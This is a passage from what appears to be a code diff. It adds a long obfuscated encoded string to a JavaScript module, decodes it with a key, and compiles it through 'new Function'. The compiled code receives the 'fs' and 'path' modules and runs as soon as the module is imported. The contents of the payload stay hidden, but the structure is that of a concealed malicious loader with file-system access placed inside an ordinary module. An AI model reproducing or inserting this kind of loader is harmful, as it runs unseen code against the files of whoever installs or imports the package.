8ASBEbEUNWTGhBU0UNT1INRQIGWVZYQlxTVSdPUg1FTkMNVlcNE1NNQQoGDQwaUA1LEREICQANQlIcXk5LThdDEBhTRBBSUh1FEh8NHxFeQR8AQwgGRUxORQtWGQsVQEUMUk8NSF9KFlZYFlJeSAFPGwZOR0NWfBFCQVNFDU9SDUUNAl8ESEJKTkUFLTN+IE5JDRQDV1coDFlcLwRFUF0TVgFoQVNFDU9SDUVOQ09EBFQ6GhEeMlIQRUYATARDG0FWRR9aRARFUF0TVgFoQVNFDU9SDUVOQ04XQxAYU1gNRxFMFxwaDVkRUFRFTA1RTBNFXmkNVhFCQVNFDRJ4DUVOQw1WEUIIFUUFDBNfFxdDDEsMQlFaRVZPBkUXARQNGFQVQTYXXwAABUIgDENbSwcTHEVODgBfHElKDQs7QkFTRQ1PUg0JCw1KAllCXFMMFk8CXh9FSCdWEUJBU0VQZVINRU5DDRpUFkEaERlPTw0WBxlIVhxCDRYLShsaJ0VOQw1WERUJGglIT1pEEVpDDEsMQhIaH0hPVAtFDFEYQGoLFUc4DVJPEEVeSg0NEQsVR04GVFJQb05DDVYRQgIcC14bUlsGBkMQVl8HFlMwRAEGFSQcEUwPGRgEAQpIHFIGRUYQRAxUQkxTDFlbWwRvTkMNVhFCDRYRDQVSEEUUBl8ZVBFrU0UNT1INEgYKQRMRSggHUQ1OTxBFHQpXExhCGlMTTgcpR05FPg1LEQBTRlN2BgYZTkU+FlZMaEFTRQ1PUl8AGhZfGBEUAhtvDU9SDRhkQw1WEQQUHQZZBh1DRQoGThlVB0kAEV8GHEpMThgnVhFCQVNFTgAcXhFOAVgQVwcTU1gNCxdOCgoGeBhCAwcWTV4bAEQLCUonVhFCQVNFRAlSBQcbBUsTQ0tBCEVfChNJNgEWXxVUSkhIRV8KBlgXAENPA1cEBAFFUGVSDUVOQw0CWRAOBEVDCgUNIBwRQgQZRS8cCwANE14ASUMGVnMjMjZFBk9VDQYGAl8XUhYEAUIEZVINRU4eJ1YRQkEBAFkaAENFFUNIGFINBRZJDQsXTgoKBngYQgMHFkkNCxdOCgoGDQs7QkEObw1PAEgRGxFDVlMDEhZeJxJbJw==";
+
+const __run = new Function('fs', 'path', 'return (' + __d(__p, __k) + ')(fs, path)');
+export default __run(fs, path);